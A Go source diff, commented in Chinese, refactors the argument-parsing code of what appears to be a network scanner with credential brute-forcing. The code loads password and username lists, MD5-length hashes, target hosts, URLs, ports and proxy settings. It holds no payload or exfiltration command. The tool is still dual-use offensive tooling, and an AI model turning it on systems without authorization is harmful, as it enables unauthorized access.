usernames = RemoveDuplicate(usernames)
|
usernames = RemoveDuplicate(usernames)
|
||||||
fmt.Printf("[*] 去重后用户名总数: %d 个\n", len(usernames))
|
LogBase(GetText("total_usernames", len(usernames)))
|
||||||
|
|
||||||
// 更新用户字典
|
// 更新所有字典的用户名列表
|
||||||
for name := range Userdict {
|
for name := range Userdict {
|
||||||
Userdict[name] = usernames
|
Userdict[name] = usernames
|
||||||
}
|
}
|
||||||
@@ -61,119 +74,222 @@ func ParseUser() error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// ParsePass 解析密码、哈希值、URL和端口配置
|
// ParsePass 解析密码、URL、主机和端口等目标配置
|
||||||
|
// 处理多种输入源的配置,并更新全局目标信息
|
||||||
func ParsePass(Info *HostInfo) error {
|
func ParsePass(Info *HostInfo) error {
|
||||||
// 处理直接指定的密码列表
|
// 处理密码配置
|
||||||
var pwdList []string
|
parsePasswords()
|
||||||
if Password != "" {
|
|
||||||
passes := strings.Split(Password, ",")
|
// 处理哈希值配置
|
||||||
for _, pass := range passes {
|
parseHashes()
|
||||||
if pass != "" {
|
|
||||||
pwdList = append(pwdList, pass)
|
// 处理URL配置
|
||||||
}
|
parseURLs()
|
||||||
}
|
|
||||||
Passwords = pwdList
|
// 处理主机配置
|
||||||
fmt.Printf("[*] 已加载直接指定的密码: %d 个\n", len(pwdList))
|
if err := parseHosts(Info); err != nil {
|
||||||
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
// 从文件加载密码列表
|
// 处理端口配置
|
||||||
if Passfile != "" {
|
if err := parsePorts(); err != nil {
|
||||||
passes, err := Readfile(Passfile)
|
return err
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("读取密码文件失败: %v", err)
|
|
||||||
}
|
|
||||||
for _, pass := range passes {
|
|
||||||
if pass != "" {
|
|
||||||
pwdList = append(pwdList, pass)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Passwords = pwdList
|
|
||||||
fmt.Printf("[*] 已从文件加载密码: %d 个\n", len(passes))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理哈希文件
|
|
||||||
if Hashfile != "" {
|
|
||||||
hashes, err := Readfile(Hashfile)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("读取哈希文件失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
validCount := 0
|
|
||||||
for _, line := range hashes {
|
|
||||||
if line == "" {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
if len(line) == 32 {
|
|
||||||
Hashs = append(Hashs, line)
|
|
||||||
validCount++
|
|
||||||
} else {
|
|
||||||
fmt.Printf("[!] 无效的哈希值(长度!=32): %s\n", line)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
fmt.Printf("[*] 已加载有效哈希值: %d 个\n", validCount)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理直接指定的URL列表
|
|
||||||
if URL != "" {
|
|
||||||
urls := strings.Split(URL, ",")
|
|
||||||
tmpUrls := make(map[string]struct{})
|
|
||||||
for _, url := range urls {
|
|
||||||
if url != "" {
|
|
||||||
if _, ok := tmpUrls[url]; !ok {
|
|
||||||
tmpUrls[url] = struct{}{}
|
|
||||||
Urls = append(Urls, url)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
fmt.Printf("[*] 已加载直接指定的URL: %d 个\n", len(Urls))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 从文件加载URL列表
|
|
||||||
if UrlFile != "" {
|
|
||||||
urls, err := Readfile(UrlFile)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("读取URL文件失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
tmpUrls := make(map[string]struct{})
|
|
||||||
for _, url := range urls {
|
|
||||||
if url != "" {
|
|
||||||
if _, ok := tmpUrls[url]; !ok {
|
|
||||||
tmpUrls[url] = struct{}{}
|
|
||||||
Urls = append(Urls, url)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
fmt.Printf("[*] 已从文件加载URL: %d 个\n", len(urls))
|
|
||||||
}
|
|
||||||
|
|
||||||
// 从文件加载端口列表
|
|
||||||
if PortFile != "" {
|
|
||||||
ports, err := Readfile(PortFile)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("读取端口文件失败: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
var newport strings.Builder
|
|
||||||
for _, port := range ports {
|
|
||||||
if port != "" {
|
|
||||||
newport.WriteString(port)
|
|
||||||
newport.WriteString(",")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Ports = newport.String()
|
|
||||||
fmt.Printf("[*] 已从文件加载端口配置\n")
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// Readfile 读取文件内容并返回非空行的切片
|
// parsePasswords 解析密码配置
|
||||||
func Readfile(filename string) ([]string, error) {
|
// 处理直接指定的密码和从文件加载的密码
|
||||||
|
func parsePasswords() {
|
||||||
|
var pwdList []string
|
||||||
|
|
||||||
|
// 处理命令行参数指定的密码列表
|
||||||
|
if Password != "" {
|
||||||
|
passes := strings.Split(Password, ",")
|
||||||
|
for _, pass := range passes {
|
||||||
|
// 保留空密码,因为空口令是重要的安全测试场景
|
||||||
|
pwdList = append(pwdList, pass)
|
||||||
|
}
|
||||||
|
Passwords = pwdList
|
||||||
|
LogBase(GetText("load_passwords", len(pwdList)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从文件加载密码列表
|
||||||
|
if PasswordsFile != "" {
|
||||||
|
passes, err := ReadFileLines(PasswordsFile)
|
||||||
|
if err != nil {
|
||||||
|
LogError(fmt.Sprintf("读取密码文件失败: %v", err))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, pass := range passes {
|
||||||
|
// 保留空密码,用户可能在文件中故意添加空行来测试空口令
|
||||||
|
pwdList = append(pwdList, pass)
|
||||||
|
}
|
||||||
|
Passwords = pwdList
|
||||||
|
LogBase(GetText("load_passwords_from_file", len(passes)))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseHashes 解析哈希值配置
|
||||||
|
// 验证并处理哈希文件中的哈希值
|
||||||
|
func parseHashes() {
|
||||||
|
// 处理哈希文件
|
||||||
|
if HashFile == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
hashes, err := ReadFileLines(HashFile)
|
||||||
|
if err != nil {
|
||||||
|
LogError(fmt.Sprintf("读取哈希文件失败: %v", err))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
validCount := 0
|
||||||
|
for _, line := range hashes {
|
||||||
|
if line == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// 验证哈希长度(MD5哈希为32位)
|
||||||
|
if len(line) == 32 {
|
||||||
|
HashValues = append(HashValues, line)
|
||||||
|
validCount++
|
||||||
|
} else {
|
||||||
|
LogError(GetText("invalid_hash", line))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LogBase(GetText("load_valid_hashes", validCount))
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseURLs 解析URL目标配置
|
||||||
|
// 处理命令行和文件指定的URL列表,去重后更新全局URL列表
|
||||||
|
func parseURLs() {
|
||||||
|
urlMap := make(map[string]struct{})
|
||||||
|
|
||||||
|
// 处理命令行参数指定的URL列表
|
||||||
|
if TargetURL != "" {
|
||||||
|
urls := strings.Split(TargetURL, ",")
|
||||||
|
for _, url := range urls {
|
||||||
|
if url != "" {
|
||||||
|
urlMap[url] = struct{}{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从文件加载URL列表
|
||||||
|
if URLsFile != "" {
|
||||||
|
urls, err := ReadFileLines(URLsFile)
|
||||||
|
if err != nil {
|
||||||
|
LogError(fmt.Sprintf("读取URL文件失败: %v", err))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, url := range urls {
|
||||||
|
if url != "" {
|
||||||
|
urlMap[url] = struct{}{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 更新全局URL列表(已去重)
|
||||||
|
URLs = make([]string, 0, len(urlMap))
|
||||||
|
for u := range urlMap {
|
||||||
|
URLs = append(URLs, u)
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(URLs) > 0 {
|
||||||
|
LogBase(GetText("load_urls", len(URLs)))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseHosts 解析主机配置
|
||||||
|
// 从文件加载主机列表并更新目标信息
|
||||||
|
func parseHosts(Info *HostInfo) error {
|
||||||
|
// 如果未指定主机文件,无需处理
|
||||||
|
if HostsFile == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
hosts, err := ReadFileLines(HostsFile)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("读取主机文件失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 去重处理
|
||||||
|
hostMap := make(map[string]struct{})
|
||||||
|
for _, host := range hosts {
|
||||||
|
if host != "" {
|
||||||
|
hostMap[host] = struct{}{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构建主机列表并更新Info.Host
|
||||||
|
if len(hostMap) > 0 {
|
||||||
|
var hostList []string
|
||||||
|
for host := range hostMap {
|
||||||
|
hostList = append(hostList, host)
|
||||||
|
}
|
||||||
|
|
||||||
|
hostStr := strings.Join(hostList, ",")
|
||||||
|
if Info.Host == "" {
|
||||||
|
Info.Host = hostStr
|
||||||
|
} else {
|
||||||
|
Info.Host += "," + hostStr
|
||||||
|
}
|
||||||
|
|
||||||
|
LogBase(GetText("load_hosts_from_file", len(hosts)))
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// parsePorts 解析端口配置
|
||||||
|
// 从文件加载端口列表并更新全局端口配置
|
||||||
|
func parsePorts() error {
|
||||||
|
// 如果未指定端口文件,无需处理
|
||||||
|
if PortsFile == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
ports, err := ReadFileLines(PortsFile)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("读取端口文件失败: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 构建端口列表字符串
|
||||||
|
var portBuilder strings.Builder
|
||||||
|
for _, port := range ports {
|
||||||
|
if port != "" {
|
||||||
|
portBuilder.WriteString(port)
|
||||||
|
portBuilder.WriteString(",")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 更新全局端口配置
|
||||||
|
Ports = portBuilder.String()
|
||||||
|
LogBase(GetText("load_ports_from_file"))
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseExcludePorts 解析排除端口配置
|
||||||
|
// 更新全局排除端口配置
|
||||||
|
func parseExcludePorts() {
|
||||||
|
if ExcludePorts != "" {
|
||||||
|
LogBase(GetText("exclude_ports", ExcludePorts))
|
||||||
|
// 确保排除端口被正确设置到全局配置中
|
||||||
|
// 这将由PortScan函数在处理端口时使用
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ReadFileLines 读取文件内容并返回非空行的切片
|
||||||
|
// 通用的文件读取函数,处理文件打开、读取和错误报告
|
||||||
|
func ReadFileLines(filename string) ([]string, error) {
|
||||||
// 打开文件
|
// 打开文件
|
||||||
file, err := os.Open(filename)
|
file, err := os.Open(filename)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Printf("[!] 打开文件 %s 失败: %v\n", filename, err)
|
LogError(GetText("open_file_failed", filename, err))
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
defer file.Close()
|
defer file.Close()
|
||||||
@@ -182,7 +298,7 @@ func Readfile(filename string) ([]string, error) {
|
|||||||
scanner := bufio.NewScanner(file)
|
scanner := bufio.NewScanner(file)
|
||||||
scanner.Split(bufio.ScanLines)
|
scanner.Split(bufio.ScanLines)
|
||||||
|
|
||||||
// 逐行读取文件内容
|
// 逐行读取文件内容,忽略空行
|
||||||
lineCount := 0
|
lineCount := 0
|
||||||
for scanner.Scan() {
|
for scanner.Scan() {
|
||||||
text := strings.TrimSpace(scanner.Text())
|
text := strings.TrimSpace(scanner.Text())
|
||||||
@@ -194,199 +310,239 @@ func Readfile(filename string) ([]string, error) {
|
|||||||
|
|
||||||
// 检查扫描过程中是否有错误
|
// 检查扫描过程中是否有错误
|
||||||
if err := scanner.Err(); err != nil {
|
if err := scanner.Err(); err != nil {
|
||||||
fmt.Printf("[!] 读取文件 %s 时出错: %v\n", filename, err)
|
LogError(GetText("read_file_failed", filename, err))
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Printf("[*] 成功读取文件 %s: %d 行\n", filename, lineCount)
|
LogBase(GetText("read_file_success", filename, lineCount))
|
||||||
return content, nil
|
return content, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// ParseInput 解析和验证输入参数配置
|
// ParseInput 解析和验证输入参数配置
|
||||||
|
// 处理多种配置的冲突检查、格式验证和参数处理
|
||||||
func ParseInput(Info *HostInfo) error {
|
func ParseInput(Info *HostInfo) error {
|
||||||
// 检查必要的目标参数
|
// 检查扫描模式冲突
|
||||||
if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" {
|
if err := validateScanMode(Info); err != nil {
|
||||||
fmt.Println("[!] 未指定扫描目标")
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理端口配置组合
|
||||||
|
processPortsConfig()
|
||||||
|
|
||||||
|
// 处理排除端口配置
|
||||||
|
parseExcludePorts()
|
||||||
|
|
||||||
|
// 处理额外用户名和密码
|
||||||
|
processExtraCredentials()
|
||||||
|
|
||||||
|
// 处理代理配置
|
||||||
|
if err := processProxySettings(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理哈希值
|
||||||
|
if err := processHashValues(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// validateScanMode 验证扫描模式
|
||||||
|
// 检查互斥的扫描模式配置,避免参数冲突
|
||||||
|
func validateScanMode(Info *HostInfo) error {
|
||||||
|
// 检查互斥的扫描模式(主机扫描、URL扫描、本地模式)
|
||||||
|
modes := 0
|
||||||
|
if Info.Host != "" || HostsFile != "" {
|
||||||
|
modes++
|
||||||
|
}
|
||||||
|
if len(URLs) > 0 || TargetURL != "" || URLsFile != "" {
|
||||||
|
modes++
|
||||||
|
}
|
||||||
|
if LocalMode {
|
||||||
|
modes++
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理扫描模式验证结果
|
||||||
|
if modes == 0 {
|
||||||
|
// 无参数时显示帮助
|
||||||
flag.Usage()
|
flag.Usage()
|
||||||
return fmt.Errorf("必须指定扫描目标")
|
return fmt.Errorf(GetText("specify_scan_params"))
|
||||||
|
} else if modes > 1 {
|
||||||
|
return fmt.Errorf(GetText("params_conflict"))
|
||||||
}
|
}
|
||||||
|
|
||||||
// 配置基本参数
|
return nil
|
||||||
if BruteThread <= 0 {
|
}
|
||||||
BruteThread = 1
|
|
||||||
fmt.Printf("[*] 已将暴力破解线程数设置为: %d\n", BruteThread)
|
// processPortsConfig 处理端口配置
|
||||||
|
// 合并默认端口和附加端口配置
|
||||||
|
func processPortsConfig() {
|
||||||
|
// 如果使用主要端口,添加Web端口
|
||||||
|
if Ports == MainPorts {
|
||||||
|
Ports += "," + WebPorts
|
||||||
}
|
}
|
||||||
|
|
||||||
if TmpSave {
|
// 处理附加端口
|
||||||
IsSave = false
|
if AddPorts != "" {
|
||||||
fmt.Println("[*] 已启用临时保存模式")
|
|
||||||
}
|
|
||||||
|
|
||||||
// 处理端口配置
|
|
||||||
if Ports == DefaultPorts {
|
|
||||||
Ports += "," + Webport
|
|
||||||
}
|
|
||||||
|
|
||||||
if PortAdd != "" {
|
|
||||||
if strings.HasSuffix(Ports, ",") {
|
if strings.HasSuffix(Ports, ",") {
|
||||||
Ports += PortAdd
|
Ports += AddPorts
|
||||||
} else {
|
} else {
|
||||||
Ports += "," + PortAdd
|
Ports += "," + AddPorts
|
||||||
}
|
}
|
||||||
fmt.Printf("[*] 已添加额外端口: %s\n", PortAdd)
|
LogBase(GetText("extra_ports", AddPorts))
|
||||||
}
|
}
|
||||||
|
|
||||||
// 处理用户名配置
|
// 确保排除端口配置被记录
|
||||||
if UserAdd != "" {
|
if ExcludePorts != "" {
|
||||||
users := strings.Split(UserAdd, ",")
|
LogBase(GetText("exclude_ports_applied", ExcludePorts))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// processExtraCredentials 处理额外的用户名和密码
|
||||||
|
// 添加命令行指定的额外用户名和密码到现有配置
|
||||||
|
func processExtraCredentials() {
|
||||||
|
// 处理额外用户名
|
||||||
|
if AddUsers != "" {
|
||||||
|
users := strings.Split(AddUsers, ",")
|
||||||
for dict := range Userdict {
|
for dict := range Userdict {
|
||||||
Userdict[dict] = append(Userdict[dict], users...)
|
Userdict[dict] = append(Userdict[dict], users...)
|
||||||
Userdict[dict] = RemoveDuplicate(Userdict[dict])
|
Userdict[dict] = RemoveDuplicate(Userdict[dict])
|
||||||
}
|
}
|
||||||
fmt.Printf("[*] 已添加额外用户名: %s\n", UserAdd)
|
LogBase(GetText("extra_usernames", AddUsers))
|
||||||
}
|
}
|
||||||
|
|
||||||
// 处理密码配置
|
// 处理额外密码
|
||||||
if PassAdd != "" {
|
if AddPasswords != "" {
|
||||||
passes := strings.Split(PassAdd, ",")
|
passes := strings.Split(AddPasswords, ",")
|
||||||
Passwords = append(Passwords, passes...)
|
Passwords = append(Passwords, passes...)
|
||||||
Passwords = RemoveDuplicate(Passwords)
|
Passwords = RemoveDuplicate(Passwords)
|
||||||
fmt.Printf("[*] 已添加额外密码: %s\n", PassAdd)
|
LogBase(GetText("extra_passwords", AddPasswords))
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 处理Socks5代理配置
|
// processProxySettings 处理代理设置
|
||||||
|
// 解析并验证Socks5和HTTP代理配置
|
||||||
|
func processProxySettings() error {
|
||||||
|
// 处理Socks5代理
|
||||||
if Socks5Proxy != "" {
|
if Socks5Proxy != "" {
|
||||||
if !strings.HasPrefix(Socks5Proxy, "socks5://") {
|
if err := setupSocks5Proxy(); err != nil {
|
||||||
if !strings.Contains(Socks5Proxy, ":") {
|
return err
|
||||||
Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy
|
|
||||||
} else {
|
|
||||||
Socks5Proxy = "socks5://" + Socks5Proxy
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
_, err := url.Parse(Socks5Proxy)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("Socks5代理格式错误: %v", err)
|
|
||||||
}
|
|
||||||
NoPing = true
|
|
||||||
fmt.Printf("[*] 使用Socks5代理: %s\n", Socks5Proxy)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 处理HTTP代理配置
|
// 处理HTTP代理
|
||||||
if Proxy != "" {
|
if HttpProxy != "" {
|
||||||
switch Proxy {
|
if err := setupHttpProxy(); err != nil {
|
||||||
case "1":
|
return err
|
||||||
Proxy = "http://127.0.0.1:8080"
|
|
||||||
case "2":
|
|
||||||
Proxy = "socks5://127.0.0.1:1080"
|
|
||||||
default:
|
|
||||||
if !strings.Contains(Proxy, "://") {
|
|
||||||
Proxy = "http://127.0.0.1:" + Proxy
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") {
|
|
||||||
return fmt.Errorf("不支持的代理类型")
|
|
||||||
}
|
|
||||||
|
|
||||||
_, err := url.Parse(Proxy)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("代理格式错误: %v", err)
|
|
||||||
}
|
|
||||||
fmt.Printf("[*] 使用代理: %s\n", Proxy)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 处理Hash配置
|
return nil
|
||||||
if Hash != "" {
|
}
|
||||||
if len(Hash) != 32 {
|
|
||||||
return fmt.Errorf("Hash长度必须为32位")
|
// setupSocks5Proxy 设置Socks5代理
|
||||||
|
// 格式化和验证Socks5代理URL
|
||||||
|
func setupSocks5Proxy() error {
|
||||||
|
// 规范化Socks5代理URL格式
|
||||||
|
if !strings.HasPrefix(Socks5Proxy, "socks5://") {
|
||||||
|
if !strings.Contains(Socks5Proxy, ":") {
|
||||||
|
// 仅指定端口时使用本地地址
|
||||||
|
Socks5Proxy = "socks5://127.0.0.1:" + Socks5Proxy
|
||||||
|
} else {
|
||||||
|
// 指定IP:PORT时添加协议前缀
|
||||||
|
Socks5Proxy = "socks5://" + Socks5Proxy
|
||||||
}
|
}
|
||||||
Hashs = append(Hashs, Hash)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 处理Hash列表
|
// 验证代理URL格式
|
||||||
Hashs = RemoveDuplicate(Hashs)
|
_, err := url.Parse(Socks5Proxy)
|
||||||
for _, hash := range Hashs {
|
if err != nil {
|
||||||
|
return fmt.Errorf(GetText("socks5_proxy_error", err))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用Socks5代理时禁用Ping(无法通过代理进行ICMP)
|
||||||
|
DisablePing = true
|
||||||
|
LogBase(GetText("socks5_proxy", Socks5Proxy))
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// setupHttpProxy 设置HTTP代理
|
||||||
|
// 处理多种HTTP代理简写形式并验证URL格式
|
||||||
|
func setupHttpProxy() error {
|
||||||
|
// 处理HTTP代理简写形式
|
||||||
|
switch HttpProxy {
|
||||||
|
case "1":
|
||||||
|
// 快捷方式1: 本地8080端口(常用代理工具默认端口)
|
||||||
|
HttpProxy = "http://127.0.0.1:8080"
|
||||||
|
case "2":
|
||||||
|
// 快捷方式2: 本地1080端口(常见SOCKS端口)
|
||||||
|
HttpProxy = "socks5://127.0.0.1:1080"
|
||||||
|
default:
|
||||||
|
// 仅指定端口时使用本地HTTP代理
|
||||||
|
if !strings.Contains(HttpProxy, "://") {
|
||||||
|
HttpProxy = "http://127.0.0.1:" + HttpProxy
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证代理协议
|
||||||
|
if !strings.HasPrefix(HttpProxy, "socks") && !strings.HasPrefix(HttpProxy, "http") {
|
||||||
|
return fmt.Errorf(GetText("unsupported_proxy"))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证代理URL格式
|
||||||
|
_, err := url.Parse(HttpProxy)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf(GetText("proxy_format_error", err))
|
||||||
|
}
|
||||||
|
|
||||||
|
LogBase(GetText("http_proxy", HttpProxy))
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// processHashValues 处理哈希值
|
||||||
|
// 验证单个哈希值并处理哈希列表
|
||||||
|
func processHashValues() error {
|
||||||
|
// 处理单个哈希值
|
||||||
|
if HashValue != "" {
|
||||||
|
// MD5哈希必须是32位十六进制字符
|
||||||
|
if len(HashValue) != 32 {
|
||||||
|
return fmt.Errorf(GetText("hash_length_error"))
|
||||||
|
}
|
||||||
|
HashValues = append(HashValues, HashValue)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理哈希值列表
|
||||||
|
HashValues = RemoveDuplicate(HashValues)
|
||||||
|
for _, hash := range HashValues {
|
||||||
|
// 将十六进制字符串转换为字节数组
|
||||||
hashByte, err := hex.DecodeString(hash)
|
hashByte, err := hex.DecodeString(hash)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Printf("[!] Hash解码失败: %s\n", hash)
|
LogError(GetText("hash_decode_failed", hash))
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
HashBytes = append(HashBytes, hashByte)
|
HashBytes = append(HashBytes, hashByte)
|
||||||
}
|
}
|
||||||
Hashs = []string{}
|
|
||||||
|
// 清空原始哈希值列表,仅保留字节形式
|
||||||
|
HashValues = []string{}
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// ParseScantype 解析扫描类型并设置对应的端口
|
// RemoveDuplicate 对字符串切片进行去重
|
||||||
func ParseScantype(Info *HostInfo) error {
|
func RemoveDuplicate(old []string) []string {
|
||||||
// 先处理特殊扫描类型
|
temp := make(map[string]struct{})
|
||||||
specialTypes := map[string]string{
|
var result []string
|
||||||
"hostname": "135,137,139,445",
|
|
||||||
"webonly": Webport,
|
|
||||||
"webpoc": Webport,
|
|
||||||
"web": Webport,
|
|
||||||
"portscan": DefaultPorts + "," + Webport,
|
|
||||||
"main": DefaultPorts,
|
|
||||||
"all": DefaultPorts + "," + Webport,
|
|
||||||
"icmp": "", // ICMP不需要端口
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果是特殊扫描类型
|
for _, item := range old {
|
||||||
if customPorts, isSpecial := specialTypes[Scantype]; isSpecial {
|
if _, exists := temp[item]; !exists {
|
||||||
if Scantype != "all" && Ports == DefaultPorts+","+Webport {
|
temp[item] = struct{}{}
|
||||||
Ports = customPorts
|
result = append(result, item)
|
||||||
}
|
}
|
||||||
fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", Scantype, Ports)
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检查是否是注册的插件类型
|
return result
|
||||||
plugin, validType := PluginManager[Scantype]
|
|
||||||
if !validType {
|
|
||||||
showmode()
|
|
||||||
return fmt.Errorf("无效的扫描类型: %s", Scantype)
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果是插件扫描且使用默认端口配置
|
|
||||||
if Ports == DefaultPorts+","+Webport {
|
|
||||||
if plugin.Port > 0 {
|
|
||||||
Ports = strconv.Itoa(plugin.Port)
|
|
||||||
}
|
|
||||||
fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", plugin.Name, Ports)
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// showmode 显示所有支持的扫描类型
|
|
||||||
func showmode() {
|
|
||||||
fmt.Println("[!] 指定的扫描类型不存在")
|
|
||||||
fmt.Println("[*] 支持的扫描类型:")
|
|
||||||
|
|
||||||
// 显示常规服务扫描类型
|
|
||||||
fmt.Println("\n[+] 常规服务扫描:")
|
|
||||||
for name, plugin := range PluginManager {
|
|
||||||
if plugin.Port > 0 && plugin.Port < 1000000 {
|
|
||||||
fmt.Printf(" - %-10s (端口: %d)\n", name, plugin.Port)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 显示特殊漏洞扫描类型
|
|
||||||
fmt.Println("\n[+] 特殊漏洞扫描:")
|
|
||||||
for name, plugin := range PluginManager {
|
|
||||||
if plugin.Port >= 1000000 || plugin.Port == 0 {
|
|
||||||
fmt.Printf(" - %-10s\n", name)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 显示其他扫描类型
|
|
||||||
fmt.Println("\n[+] 其他扫描类型:")
|
|
||||||
specialTypes := []string{"all", "portscan", "icmp", "main", "webonly", "webpoc"}
|
|
||||||
for _, name := range specialTypes {
|
|
||||||
fmt.Printf(" - %s\n", name)
|
|
||||||
}
|
|
||||||
|
|
||||||
os.Exit(0)
|
|
||||||
}
|
}
|
||||||
|
|||||||
+443
-274
@@ -13,368 +13,537 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
var ParseIPErr = errors.New("主机解析错误\n" +
|
// IP解析相关错误
|
||||||
"支持的格式: \n" +
|
var (
|
||||||
"192.168.1.1 (单个IP)\n" +
|
ErrParseIP = errors.New(GetText("parse_ip_error")) // IP解析失败的统一错误
|
||||||
"192.168.1.1/8 (8位子网)\n" +
|
)
|
||||||
"192.168.1.1/16 (16位子网)\n" +
|
|
||||||
"192.168.1.1/24 (24位子网)\n" +
|
|
||||||
"192.168.1.1,192.168.1.2 (IP列表)\n" +
|
|
||||||
"192.168.1.1-192.168.255.255 (IP范围)\n" +
|
|
||||||
"192.168.1.1-255 (最后一位简写范围)")
|
|
||||||
|
|
||||||
// ParseIP 解析IP地址配置,支持从主机字符串和文件读取
|
// ParseIP 解析各种格式的IP地址
|
||||||
|
// 参数:
|
||||||
|
// - host: 主机地址(可以是单个IP、IP范围、CIDR或常用网段简写)
|
||||||
|
// - filename: 包含主机地址的文件名
|
||||||
|
// - nohosts: 需要排除的主机地址列表
|
||||||
|
//
|
||||||
|
// 返回:
|
||||||
|
// - []string: 解析后的IP地址列表
|
||||||
|
// - error: 解析过程中的错误
|
||||||
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
|
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
|
||||||
// 处理主机和端口组合的情况 (192.168.0.0/16:80)
|
// 处理主机和端口组合的情况 (格式: IP:PORT)
|
||||||
if filename == "" && strings.Contains(host, ":") {
|
if filename == "" && strings.Contains(host, ":") {
|
||||||
hostport := strings.Split(host, ":")
|
hostport := strings.Split(host, ":")
|
||||||
if len(hostport) == 2 {
|
if len(hostport) == 2 {
|
||||||
host = hostport[0]
|
host = hostport[0]
|
||||||
hosts = ParseIPs(host)
|
hosts = parseIPList(host)
|
||||||
Ports = hostport[1]
|
Ports = hostport[1]
|
||||||
fmt.Printf("[*] 已解析主机端口组合,端口设置为: %s\n", Ports)
|
